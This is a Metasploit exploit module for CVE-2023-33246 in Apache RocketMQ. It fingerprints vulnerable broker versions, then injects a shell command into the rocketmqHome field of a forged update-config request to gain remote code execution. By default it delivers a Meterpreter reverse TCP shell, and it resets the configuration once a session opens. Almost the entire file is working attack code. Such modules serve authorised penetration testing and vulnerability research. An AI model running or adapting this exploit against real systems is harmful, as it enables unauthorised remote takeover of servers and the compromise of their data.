##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Auxiliary::Rocketmq
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache RocketMQ update config RCE',
        'Description' => %q{
          RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
          leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
          the update configuration function to execute commands as the system users that RocketMQ is running as.
          Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
        },
        'Author' => [
          'Malayke', # PoC
          'jheysel-r7',  # module - RCE portion
          'h00die',      # module - Version detection & parsing
        ],
        'References' => [
          [ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],
          [ 'CVE', '2023-33246']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
              'Type' => :nix_memory
            }
          ],
        ],
        'Payload' => {
          'BadChars' => "\x27"
        },
        'DefaultOptions' => {
          'WfsDelay' => 60
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-05-23',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),
        OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])
      ]
    )
  end

  def check
    @version_request_response = send_version_request
    @parsed_data = parse_rocketmq_data(@version_request_response)
    return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']

    version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
    return Exploit::CheckCode::Unknown('Unable to determine the version') unless version

    if version > Rex::Version.new('5.0.0')
      return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
    elsif version <= Rex::Version.new('4.9.5')
      return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
    end
    Exploit::CheckCode::Safe("RocketMQ version: #{version}")
  end

  def execute_command(cmd, opts = {})
    data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"
    header = [data.length + 3].pack('N') + "\x00\x00\x00"
    payload = header + data

    begin
      vprint_status("Payload command to be executed: #{cmd}")
      sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })
      vprint_status("Payload is #{data}")
      sock.put(payload)
    rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
      fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")
    end
  end

  def on_new_session(session)
    print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')

    if session.type == 'meterpreter'
      pwd = session.fs.dir.pwd
    else
      pwd = session.shell_command_token('pwd')
    end

    # The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin
    pwd.gsub!('/bin', '')
    print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")
    print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')

    execute_command(pwd, { broker_port: @broker_port })
  end

  def exploit
    @version_request_response ||= send_version_request
    @parsed_data ||= parse_rocketmq_data(@version_request_response)
    @broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])
    print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")
    execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })
  end
end
